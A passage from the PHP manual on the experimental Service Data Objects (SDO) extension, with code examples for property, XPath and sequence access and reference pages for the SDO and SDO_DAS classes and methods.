例子 5. Many-valued Element Access

We can access individual elements of many-valued properties using array syntax. The following accesses the first department in the company.

<?php
  $ad_tech_dept = $company->departments[0];
?>

例子 6. Nested Property Access

We can use nested property access to navigate the data object instance structure. The following gets and sets the name of the first department.

<?php
  $dept_name = $company->departments[0]->name;
  $company->departments[0]->name = 'Emerging Technologies';
?>

例子 7. Simple XPath support

We can access properties using XPath-like (an augmented sub-set of XPath) expressions, the simplest form of which is the property name. The following sets the company name and gets the employeeOfTheMonth.

<?php
  $company['name'] = 'UltraCorp';
  $eotm = $company['employeeOfTheMonth'];
?>

例子 8. Simple XPath support

We can use chained array access calls to navigate the data object instance structure. The following gets and sets the name of the first department.

<?php
  $dept_name = $company['departments'][0]['name'];
  $company['departments'][0]['name'] = 'Emerging Technologies';
?>

例子 9. XPath Navigation

We can use XPath expressions to navigate the data object instance structure. Two forms of indexing into many-valued properties are supported. The first is the standard XPath array syntax with the indexing starting at one, the second is an SDO extension to XPath with an index starting at zero. The following both get the second employee from the first department.

<?php
  $jane_doe = $company["departments[1]/employees[2]"];
  $jane_doe = $company["departments.0/employees.1"];
?>

例子 10. XPath Querying

We can use XPath to query and identify parts of a data object based on instance data. The following retrieves the manager from the 'Advanced Technologies' department.

<?php
  $ad_tech_mgr = $company["departments[name=\"Advanced Technologies\"]/employees[manager=\"true\"]"];
?>

例子 11. Creating child data object

A data object can be a factory for its child data objects. A child data object is automatically part of the data graph. The following add a new employee to the 'Advanced Technologies' department.

<?php
  $ad_tech_dept = $company["departments[name=\"Advanced Technologoies\"]"];
  $new_hire = $ad_tech_dept->createDataObject('employees');
  $new_hire->name = 'John Johnson';
  $new_hire->SN = 'E0005';
  $new_hire->manager = false;
?>

例子 12. Unset referenced data object

We can use the isset() and unset() functions to test and remove items from the data object.

The following removes the 'employeeOfTheMonth' from the company. If this were a containment reference then the employee would be removed from the company (probably not a good idea to sack your best employee each month!), but since this is a non-containment reference, the employee being referenced will remain in the department in the company, but will no longer be accessible via the employeeOfTheMonth property.

<?php
  if (isset($company->employeeOfTheMonth) {
    unset($company->employeeOfTheMonth);
  }
?>

Working with Sequenced Data Objects

Sequenced data objects are SDOs which can track property ordering across the properties of a data object. They can also contain unstructured text elements (text element which do not belong to any of the SDO's properties). Sequenced data objects are useful for working with XML documents which allow unstructured text (i.e. mixed=true) or if the elements can be interleaved ( <A/><B/><A/>). This can occur for example when the schema defines maxOccurs>1 on a element which is a complexType with a choice order indicator.

The examples below assume an SDO created with the following schema and instance information, using the XML Data Access Service.

The schema below describes the format of a letter. The letter can optionally contain three properties; date, firstName, and lastName. The schema states mixed="true" which means that unstructured text can be interspersed between the three properties.

<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:letter="http://letterSchema"
  targetNamespace="http://letterSchema">
  <xsd:element name="letters" type="letter:FormLetter"/>
  <xsd:complexType name="FormLetter" mixed="true">
    <xsd:sequence>
      <xsd:element name="date" minOccurs="0" type="xsd:string"/>
      <xsd:element name="firstName" minOccurs="0" type="xsd:string"/>
      <xsd:element name="lastName" minOccurs="0" type="xsd:string"/>
    </xsd:sequence>
  </xsd:complexType>
</xsd:schema>

The following is an instance letter document. It contains the three letter properties; date, firstName and lastName, and has unstructured text elements for the address and letter body.

<letter:letters xmlns:letter="http://letterSchema">
  <date>March 1, 2005</date>
  Mutual of Omaha
  Wild Kingdom, USA
  Dear
  <firstName>Casy</firstName>
  <lastName>Crocodile</lastName>
  Please buy more shark repellent.
  Your premium is past due.
</letter:letters>

When loaded, the letter data object will have the sequence and property indices shown in the table below:

Sequence Index | Property Index:Name | Value
0 | 0:date | March 1, 2005
1 | - | Mutual of Omaha
2 | - | Wild Kingdom, USA
3 | - | Dear
4 | 1:firstName | Casy
5 | 2:lastName | Crocodile
6 | - | Please buy more shark repellent.
7 | - | Your premium is past due.

To ensure sequence indices are maintained, sequenced data objects should be manipulated through the SDO_Sequence interface. This allows the data object's instance data to be manipulated in terms of the sequence index as opposed to the property index (shown in the table above). The following examples assume the letter instance has been loaded into a data object referenced by the variable $letter.

例子 13. Getting the SDO_Sequence interface

We obtain a data object's sequence using the getSequence() method. The follow gets the sequence for the letter data object.

<?php
  $letter_seq = $letter->getSequence();
?>

All subsequent examples assume that the $letter_seq variable has been assigned the sequence for the letter data object.

例子 14. Get/set sequence values

We can get and set individual values (including unstructured text) using the sequence index. The following sets the firstName to 'Snappy' and gets the last sequence values (the unstructured text, 'Your premium is past due.').

<?php
  $letter_seq[4] = 'Snappy';
  $text = $letter_seq[count($letter_seq) - 1];
?>

例子 15. Sequence iteration

We can iterate through the individual sequence values using foreach. The following runs through the individual values in sequence order.

<?php
  foreach ($letter->getSequence() as $value) {
    ...
  }
?>

例子 16. Sequence versus Data Object

Setting values through the data object interface may result in the value not being part of the sequence. A value set through the data object will only be accessible through the sequence if the property was already part of the sequence. The following example sets the lastName through the data object and gets it through the sequence. This is fine because lastName already exists in the sequence. If it had not previously been set, then lastName would be set to 'Smith', but would not be part of the sequence.

<?php
  $letter[2] = 'Smith';
  $last_name = $letter_seq[5];
?>

例子 17. Adding to a sequence

We can add new values to a sequence using the SDO_Sequence::insert() method. The following examples assume that the 'firstName' and 'lastName' properties are initially unset.

<?php
  // Append a firstName value to the sequence
  // value: 'Smith'
  // sequence index: NULL (append)
  // propertyIdentifier: 1 (firtName property index)
  $letters_seq->insert('Smith', NULL, 1);

  // Append a lastName value to the sequence
  // value: 'Jones'
  // sequence index: NULL (append)
  // property identifier: 'lastName' (lastName property name)
  $letters_seq->insert('Jones', NULL, 'lastName');

  // Append unstructured text
  // value: 'Cancel Subscription.'
  // sequence index: absent (append)
  // propertyIdentifier: absent (unstructured text)
  $letters_seq->insert('Cancel Subscription.');

  // Insert new unstructured text.  Subsequent sequence values
  // are shifted up.
  // value: 'Care of:'
  // sequence index: 1 (insert as second element)
  // propertyIdentifier: absent (unstructured text)
  $letters_seq->insert('Care of:', 1);
?>

例子 18. Removing from a sequence

We can use the isset() and unset() functions to test and remove items from the sequence (Note: unset() currently leaves the values in the data object, but this behaviour is likely to change to also remove the data from the data object). A sequence behaves like a contiguous list; therefore, removing items from the middle will shift entries at higher indices down. The following example tests to see if the first sequence element is set and unsets it if is.

<?php
  if (isset($letter_seq[0]) {
    unset($letter_seq[0]);
  }
?>

预定义类

SDO consists of two sets of interfaces. The first set covers those interfaces for use by SDO client applications. These are identified by the package prefix 'SDO_'. The second set is those for use by Data Access Service implementations and are identified by the package prefix 'SDO_DAS_'. The majority of SDO users will not need to use or understand the 'SDO_DAS_' interfaces.

SDO Application Programmer Interface

SDO_DataObject

The main interface through which data objects are manipulated. In addition to the methods below, SDO_DataObject extends the ArrayAccess, SDO_PropertyAccess (defines __get() / __set() methods for property access overloading), Iterator, and Countable interfaces.

方法

  • getType - get the type of a data object

  • getSequence - get the sequence for the data object

  • createDataObject - create a child data object

  • clear - unset the properties of a data object

  • getContainer - get the container (also known as 'parent') of this data object

  • getContainmentPropertyName - get the name by which the parent refers to this data object

SDO_Sequence

The interface through which sequenced data objects can be accessed to preserve ordering across a data object's properties and to allow unstructured text. SDO_Sequence preserves contiguous indices and therefore inserting or removing elements may shift other elements up or down. In addition to the methods below, SDO_Sequence extends the ArrayAccess, Iterator and Countable interface.

方法

  • getPropertyIndex - get the property index for a given sequence index

  • getPropertyName - get the property name for a given sequence index

  • move - move an element from one property index to another

  • insert - insert a new value into the sequence

SDO_List

The interface through which many-valued properties are manipulated. In addition to the method defined below, SDO_List extends ArrayAccess, Iterator and Countable. SDO_List preserves contiguous indices and therefore inserting or removing elements may shift other elements up or down.

方法

  • insert - insert a new value into the list

SDO_DataFactory

The interface through which data objects can be created. A Data Access Service is responsible for populating the model (i.e. configuring the data factory with the type and structure information for the data objects it can create.) for the factory and can then optionally return an instance of, or implement, the SDO_DataFactory interface.

方法

  • create - create a new data object

SDO Data Access Service Developer Interfaces

SDO_DAS_DataObject

The interface through which a Data Access Service can access a data object's SDO_DAS_ChangeSummary . The change summary is used by the Data Access Service to check for conflicts when applying changes back to a data source.

方法

  • getChangeSummary - get the change summary for a data object

SDO_DAS_ChangeSummary

The interface through which the change history of a data object is accessed. The change summary holds information for any modifications on a data object which occurred since logging was activated. In the case of deletions and modifications, the old values are also held in the change summary.

If logging is no longer active then the change summary only holds changes made up to the point when logging was deactivated. Reactivating logging clears the change summary. This is useful when a set of changes have been written out by a DAS and the data object is to be reused.

方法

  • beginLogging - begin logging changes made to a data object

  • endLogging - end logging changes made to a data object

  • isLogging - test to see if change logging is on

  • getChangedDataObjects - get a list of the data objects which have been changed

  • getChangeType - get the type of change which has been made to a data object

  • getOldValues - get a list of old values for a data object

  • getOldContainer - get the old container data object for a deleted data object

SDO_DAS_Setting

The interface through which the old value for a property is accessed. A list of settings is returned by the change summary method getOldValues() .

方法

  • getPropertyIndex - get the property index for the changed property

  • getPropertyName - get the property name for the changed property

  • getValue - get the old value for the changed property

  • getListIndex - get the list index for the old value if it was part of a many-valued property

  • isSet - test to see if the property was set prior to being modified

SDO_DAS_DataFactory

The interface for constructing the model for an SDO_DataObject. The SDO_DAS_DataFactory is an abstract class providing a static method which returns a concrete data factory implementation. The implementation is used by Data Access Services to create an SDO model from their model. For example, a Relational Data Access Service might create and populate an SDO_DAS_DataFactory model based on a schema for a relational database.

方法

  • getDataFactory - static methods for getting a concrete data factory instance

  • addType - add a new type to the SDO model

  • addPropertyToType - add a new property to a type definition in the SDO model

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

SDO_DAS_ChangeSummary::NONE=0 (integer)

Represents a change type of 'none'.

SDO_DAS_ChangeSummary::MODIFICATION=1 (integer)

Represents a change type of 'modification'.

SDO_DAS_ChangeSummary::ADDITION=2 (integer)

Represents a change type of 'addition'.

SDO_DAS_ChangeSummary::DELETION=3 (integer)

Represents a change type of 'deletion'.

目录
SDO_DAS_ChangeSummary::beginLogging -- Begin change logging.
SDO_DAS_ChangeSummary::endLogging -- End change logging.
SDO_DAS_ChangeSummary::getChangeType -- Get the type of change made to an SDO_DataObject.
SDO_DAS_ChangeSummary::getChangedDataObjects -- Get the changed data objects from a change summary.
SDO_DAS_ChangeSummary::getOldContainer -- Get the old container for a deleted SDO_DataObject.
SDO_DAS_ChangeSummary::getOldValues -- Get the old values for a given changed SDO_DataObject.
SDO_DAS_ChangeSummary::isLogging -- Test to see whether change logging is switched on.
SDO_DAS_DataFactory::addPropertyToType -- Adds a property to a type.
SDO_DAS_DataFactory::addType -- Add a new type to a model.
SDO_DAS_DataFactory::getDataFactory -- Get a data factory instance.
SDO_DAS_DataObject::getChangeSummary -- Get a data object's change summary.
SDO_DAS_Setting::getListIndex -- Get the list index for a changed many-valued property.
SDO_DAS_Setting::getPropertyIndex -- Get the property index for a changed property.
SDO_DAS_Setting::getPropertyName -- Get the property name for a changed property.
SDO_DAS_Setting::getValue -- Get the old value for the changed property.
SDO_DAS_Setting::isSet -- Test whether a property was set prior to being modified.
SDO_DataFactory::create -- Create an SDO_DataObject.
SDO_DataObject::clear -- Clear an SDO_DataObject's properties.
SDO_DataObject::createDataObject -- Create a child SDO_DataObject.
SDO_DataObject::getContainer -- Get a data object's container.
SDO_DataObject::getContainmentPropertyName -- Get the container's property name.
SDO_DataObject::getSequence -- Get the sequence for a data object.
SDO_DataObject::getType -- Get the type of a data object.
SDO_List::insert -- Insert into a list.
SDO_Sequence::getPropertyIndex -- Return the property index for the specified sequence index.
SDO_Sequence::getPropertyName -- Return the property name for the specified sequence index.
SDO_Sequence::insert -- Insert into a sequence.
SDO_Sequence::move -- Move an item to another sequence position.

add a note add a note User Contributed Notes
ng4rrjanbiah at rediffmail dot com
18-Mar-2006 02:07
Some useful links on SDO:
1. Quick intro ( http://www.obalweb.net/wppro/?p=19 )
2. SDO for Zend Conf 2005 ( http://www.ibm.com/developerworks/forums/weblogs/data/SDOforZendConf2005.pdf ), Presentation, [481 KB], Graham Charters, 2005-10-18
3. Introducing Service Data Objects for PHP ( http://www.zend.com/pecl/tutorials/sdo.php ), 2005-08-05
4. Service Data Objects specification ( http://www.ibm.com/developerworks/library/specification/j-commonj-sdowmt/ ), 2003-2005

HTH,
R. Rajesh Jeba Anbiah
add a note add a note

后退 | 起点 | 前进
runkit_superglobals | 上一级 | SDO_DAS_ChangeSummary::beginLogging


SDO_DAS_ChangeSummary::beginLogging

(no version information, might be only in CVS)

SDO_DAS_ChangeSummary::beginLogging -- Begin change logging.

说明

void SDO_DAS_ChangeSummary::beginLogging ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Begin logging changes made to the SDO_DataObject.

参数

None.

返回值

None.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO Functions | 上一级 | SDO_DAS_ChangeSummary::endLogging


SDO_DAS_ChangeSummary::endLogging

(no version information, might be only in CVS)

SDO_DAS_ChangeSummary::endLogging -- End change logging.

说明

void SDO_DAS_ChangeSummary::endLogging ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

End logging changes made to an SDO_DataObject.

参数

None.

返回值

None.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_ChangeSummary::beginLogging | 上一级 | SDO_DAS_ChangeSummary::getChangeType


SDO_DAS_ChangeSummary::getChangeType

(no version information, might be only in CVS)

SDO_DAS_ChangeSummary::getChangeType -- Get the type of change made to an SDO_DataObject.

说明

int SDO_DAS_ChangeSummary::getChangeType ( SDO_DataObject dataObject )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Get the type of change which has been made to the supplied SDO_DataObject.

参数

dataObject

The SDO_DataObject which has been changed.

返回值

The type of change which has been made. The change type is expressed as an enumeration and will be one of the following four values:

  • SDO_DAS_ChangeSummary::NONE

  • SDO_DAS_ChangeSummary::MODIFICATION

  • SDO_DAS_ChangeSummary::ADDITION

  • SDO_DAS_ChangeSummary::DELETION

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_ChangeSummary::endLogging | 上一级 | SDO_DAS_ChangeSummary::getChangedDataObjects


SDO_DAS_ChangeSummary::getChangedDataObjects

(no version information, might be only in CVS)

SDO_DAS_ChangeSummary::getChangedDataObjects -- Get the changed data objects from a change summary.

说明

SDO_List SDO_DAS_ChangeSummary::getChangedDataObjects ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Get an SDO_List of the SDO_DataObjects which have been changed. These data objects can then be used to identify the types of change made to each, along with the old values.

参数

None.

返回值

Returns an SDO_List of SDO_DataObjects.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_ChangeSummary::getChangeType | 上一级 | SDO_DAS_ChangeSummary::getOldContainer


SDO_DAS_ChangeSummary::getOldContainer

(no version information, might be only in CVS)

SDO_DAS_ChangeSummary::getOldContainer -- Get the old container for a deleted SDO_DataObject.

说明

SDO_DataObject SDO_DAS_ChangeSummary::getOldContainer ( SDO_DataObject dataObject )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Get the old container (SDO_DataObject) for a deleted SDO_DataObject.

参数

dataObject

The SDO_DataObject which has been deleted and whose container we wish to identify.

返回值

The old containing data object of the deleted SDO_DataObject.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_ChangeSummary::getChangedDataObjects | 上一级 | SDO_DAS_ChangeSummary::getOldValues


SDO_DAS_ChangeSummary::getOldValues

(no version information, might be only in CVS)

SDO_DAS_ChangeSummary::getOldValues -- Get the old values for a given changed SDO_DataObject.

说明

SDO_List SDO_DAS_ChangeSummary::getOldValues ( SDO_DataObject dataObject )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Get a list of the old values for a given changed SDO_DataObject. Returns a list of SDO_DAS_Settings describing the old values for the changed properties of the SDO_DataObject.

参数

dataObject

The data object which has been changed.

返回值

A list of SDO_DAS_Settings describing the old values for the changed properties of the SDO_DataObject

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_ChangeSummary::getOldContainer | 上一级 | SDO_DAS_ChangeSummary::isLogging


SDO_DAS_ChangeSummary::isLogging

(no version information, might be only in CVS)

SDO_DAS_ChangeSummary::isLogging -- Test to see whether change logging is switched on.

说明

bool SDO_DAS_ChangeSummary::isLogging ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Test to see whether change logging is switched on.

参数

None.

返回值

Returns TRUE if change logging is on, otherwise returns FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_ChangeSummary::getOldValues | 上一级 | SDO_DAS_DataFactory::addPropertyToType


SDO_DAS_DataFactory::addPropertyToType

(no version information, might be only in CVS)

SDO_DAS_DataFactory::addPropertyToType -- Adds a property to a type.

说明

void SDO_DAS_DataFactory::addPropertyToType ( string parentNamespaceURI, string parentTypeName, string propertyName, string propertyNamespaceURI, string propertyTypeName [, bool many [, bool readOnly [, bool containment]]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Adds a property to a type. The type must already be known to the SDO_DAS_DataFactory (i.e. have been added using addType()). The property becomes a property of the type. This is how the graph model for the structure of an SDO_DataObject is built.

参数

parentNamespaceURI

The namespace URI for the parent type.

parentTypeName

The type name for the parent type.

propertyName

The name by which the property will be known in the parent type.

propertyNamespaceURI

The namespace URI for the type of the property.

propertyTypeName

The type name for the type of the property

many

A flag to say whether the property is many-valued. A value of 'true' adds the property as a many-valued property (default is 'false')

readOnly

A flag to say whether the property is read-only. A value of 'true' means the property value cannot be modified through the SDO application APIs (default is 'false')

containment

A flag to say whether the property is contained by the parent. A value of 'true' means the property is contained by the parent. A value of 'false' results in a non-containment reference (default is 'true'). This flag is only interpreted when adding properties which are data object types, otherwise it is ignored.

返回值

None.

范例

例子 1. A SDO_DAS_DataFactory::addPropertyToType() example

The following adds a 'name' property to a Person type. The person type is identified by its namespace, 'PersonNS', and type name, 'PersonType'. The type of the 'name' property is an SDO data type (primitive) with namespace 'commonj.sdo' and type name 'String'.

<?php
  $df->addPropertyToType('PersonNS', 'PersonType',
'name', 'commonj.sdo', 'String');
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_ChangeSummary::isLogging | 上一级 | SDO_DAS_DataFactory::addType


SDO_DAS_DataFactory::addType

(no version information, might be only in CVS)

SDO_DAS_DataFactory::addType -- Add a new type to a model.

说明

void SDO_DAS_DataFactory::addType ( string namespaceURI, string typeName )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Add a new type to the SDO_DAS_DataFactory, defined by its namespace and type name. The type becomes part of the model of data objects that the data factory can create.

参数

namespaceURI

The namespace of the type.

typeName

The name of the type.

返回值

No values returned.

范例

例子 1. A SDO_DAS_DataFactory::addType() example

The following adds a new data object type of 'CompanyType' where that type belongs to the namespace 'CompanyNS'.

<?php
  $df->addType('CompanyNS', 'CompanyType');
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_DataFactory::addPropertyToType | 上一级 | SDO_DAS_DataFactory::getDataFactory


SDO_DAS_DataFactory::getDataFactory

(no version information, might be only in CVS)

SDO_DAS_DataFactory::getDataFactory -- Get a data factory instance.

说明

SDO_DAS_DataFactory SDO_DAS_DataFactory::getDataFactory ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Static method to get an instance of an SDO_DAS_DataFactory. This instance is initially only configured with the basic SDO types. A Data Access Service is responsible for populating the data factory model and then allowing PHP applications to create SDOs based on the model through the SDO_DataFactory interface. PHP applications should always obtain a data factory from a configured Data Access Service, not through this interface.

参数

None.

返回值

Returns an SDO_DAS_DataFactory.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_DataFactory::addType | 上一级 | SDO_DAS_DataObject::getChangeSummary


SDO_DAS_DataObject::getChangeSummary

(no version information, might be only in CVS)

SDO_DAS_DataObject::getChangeSummary -- Get a data object's change summary.

说明

SDO_DAS_ChangeSummary SDO_DAS_DataObject::getChangeSummary ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Get the SDO_DAS_ChangeSummary for an SDO_DAS_DataObject, or NULL if it does not have one.

参数

None.

返回值

Returns the SDO_DAS_ChangeSummary for an SDO_DAS_DataObject, or NULL if it does not have one.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_DataFactory::getDataFactory | 上一级 | SDO_DAS_Setting::getListIndex


SDO_DAS_Setting::getListIndex

(no version information, might be only in CVS)

SDO_DAS_Setting::getListIndex -- Get the list index for a changed many-valued property.

说明

int SDO_DAS_Setting::getListIndex ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Get the list index for a modification made to an element of a many-valued property. For example, if we modified the third element of a many-valued property we could obtain an SDO_DAS_Setting from the change summary corresponding to that modification. A call to getListIndex() on that setting would return the value 2 (lists are indexed from zero).

参数

None.

返回值

The list index for the element of the many-valued property which has been changed.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_DataObject::getChangeSummary | 上一级 | SDO_DAS_Setting::getPropertyIndex


SDO_DAS_Setting::getPropertyIndex

(no version information, might be only in CVS)

SDO_DAS_Setting::getPropertyIndex -- Get the property index for a changed property.

说明

int SDO_DAS_Setting::getPropertyIndex ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns the property index for the changed property. This index identifies the property which was modified in data object.

参数

None.

返回值

The property index for a changed property.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Setting::getListIndex | 上一级 | SDO_DAS_Setting::getPropertyName


SDO_DAS_Setting::getPropertyName

(no version information, might be only in CVS)

SDO_DAS_Setting::getPropertyName -- Get the property name for a changed property.

说明

string SDO_DAS_Setting::getPropertyName ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns the property name for the changed property. This name identifies the property which was modified in data object.

参数

None.

返回值

The property name for a changed property.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Setting::getPropertyIndex | 上一级 | SDO_DAS_Setting::getValue


SDO_DAS_Setting::getValue

(no version information, might be only in CVS)

SDO_DAS_Setting::getValue -- Get the old value for the changed property.

说明

mixed SDO_DAS_Setting::getValue ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns the old value for the changed property. This can be used by a Data Access Service when writing updates to a data source. The DAS uses the old value to detect conflicts by comparing it with the current value in the data source. If they do not match, then the data source has been updated since the data object was originally populated, and therefore writing any new updates risks compromising the integrity of the data.

参数

None.

返回值

Returns the old value of the changed property.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Setting::getPropertyName | 上一级 | SDO_DAS_Setting::isSet


SDO_DAS_Setting::isSet

(no version information, might be only in CVS)

SDO_DAS_Setting::isSet -- Test whether a property was set prior to being modified.

说明

bool SDO_DAS_Setting::isSet ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Test whether a property was set prior to being modified. If it was set prior to being modified then the SDO_DAS_Setting will also contain the old value.

参数

None.

返回值

Returns TRUE if the property was set prior to being modified, otherwise returns FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Setting::getValue | 上一级 | SDO_DataFactory::create


SDO_DataFactory::create

(no version information, might be only in CVS)

SDO_DataFactory::create -- Create an SDO_DataObject.

说明

void SDO_DataFactory::create ( string namespaceURI, string typeName )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Create a new SDO_DataObject given the data object's namespace URI and type name.

参数

namespaceURI

The namespace of the type.

typeName

The name of the type.

返回值

Returns the newly created SDO_DataObject.

异常

SDO_TypeNotFoundException

Thrown if the namespaceURI and typeName do not correspond to a type known to this data factory.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Setting::isSet | 上一级 | SDO_DataObject::clear


SDO_DataObject::clear

(no version information, might be only in CVS)

SDO_DataObject::clear -- Clear an SDO_DataObject's properties.

说明

void SDO_DataObject::clear ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Clear an SDO_DataObject's properties. Read-only properties are unaffected. Subsequent calls to isset() for the data object will return FALSE.

参数

None.

返回值

No return values.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DataFactory::create | 上一级 | SDO_DataObject::createDataObject


SDO_DataObject::createDataObject

(no version information, might be only in CVS)

SDO_DataObject::createDataObject -- Create a child SDO_DataObject.

说明

SDO_DataObject SDO_DataObject::createDataObject ( mixed identifier )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Create a child SDO_DataObject of the default type for the property identified. The data object is automatically inserted into the tree and a reference to it is returned.

参数

identifier

Identifies the property for the data object type to be created. Can be either a property name (string), or property index (int).

返回值

Returns the newly created SDO_DataObject.

异常

SDO_PropertyNotFoundException

Thrown if the identifier does not correspond to a property of the data object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DataObject::clear | 上一级 | SDO_DataObject::getContainer


SDO_DataObject::getContainer

(no version information, might be only in CVS)

SDO_DataObject::getContainer -- Get a data object's container.

说明

SDO_DataObject SDO_DataObject::getContainer ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Get the data object which contains this data object.

参数

None.

返回值

Returns the SDO_DataObject which contains this SDO_DataObject, or returns NULL if this is a root SDO_DataObject (i.e. it has no container).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DataObject::createDataObject | 上一级 | SDO_DataObject::getContainmentPropertyName


SDO_DataObject::getContainmentPropertyName

(no version information, might be only in CVS)

SDO_DataObject::getContainmentPropertyName -- Get the container's property name.

说明

string SDO_DataObject::getContainmentPropertyName ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Get the property name used to refer to this data object by its containing data object.

参数

None.

返回值

Returns the name of the container's property which references this SDO_DataObject, or returns NULL if this is a root SDO_DataObject (i.e. it has no container).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DataObject::getContainer | 上一级 | SDO_DataObject::getSequence


SDO_DataObject::getSequence

(no version information, might be only in CVS)

SDO_DataObject::getSequence -- Get the sequence for a data object.

说明

SDO_Sequence SDO_DataObject::getSequence ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Return the SDO_Sequence for this SDO_DataObject. Accessing the SDO_DataObject through the SDO_Sequence interface acts on the same SDO_DataObject instance data, but preserves ordering across properties.

参数

None.

返回值

The SDO_Sequence for this SDO_DataObject, or returns NULL if the SDO_DataObject is not of a type which can have a sequence.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DataObject::getContainmentPropertyName | 上一级 | SDO_DataObject::getType


SDO_DataObject::getType

(no version information, might be only in CVS)

SDO_DataObject::getType -- Get the type of a data object.

说明

array SDO_DataObject::getType ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Return an array containing the type information for an SDO_DataObject. The first element contains the namespace URI string and the second contains the type name string.

参数

None.

返回值

An array containing the namespace URI string and the type name string for the data object.

范例

例子 1. A SDO_DataObject::getType() example

